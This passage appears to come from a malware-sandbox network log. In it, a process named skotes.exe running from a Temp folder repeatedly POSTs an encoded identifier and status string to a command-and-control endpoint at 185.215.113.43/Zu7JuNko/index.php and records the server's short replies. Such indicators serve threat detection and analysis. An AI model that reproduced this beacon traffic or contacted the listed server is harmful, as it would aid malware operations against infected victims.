Nov 11, 2024 12:44:10.751211882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:11.408330917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50239	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:13.052548885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:13.691061974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50240	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:15.202620983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:15.843914986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50241	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:17.468580961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:18.104795933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50242	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:19.625734091 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:20.268923998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50243	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:21.896120071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:22.538706064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50244	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:24.063095093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:24.708317995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50245	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:26.343673944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:26.986037970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50248	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:28.499771118 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:29.142879963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50249	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:30.770334959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:31.417176962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50250	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:32.942389965 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:33.590424061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50251	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:35.215342999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:35.853578091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50252	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:37.374834061 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:38.221658945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 12:44:38.229989052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50253	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:39.843904018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:40.482654095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50254	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:42.002690077 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:42.646419048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50255	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:44.284418106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:44.922940969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50256	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:46.437664032 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:47.700906038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 12:44:47.701041937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 12:44:47.701206923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50257	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:49.327477932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:49.972918034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	61378	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:51.484472990 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:52.125965118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	61379	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:53.755563974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:54.394741058 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	61380	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:55.909738064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:56.551280022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	61381	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:58.176543951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:58.815035105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	61382	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
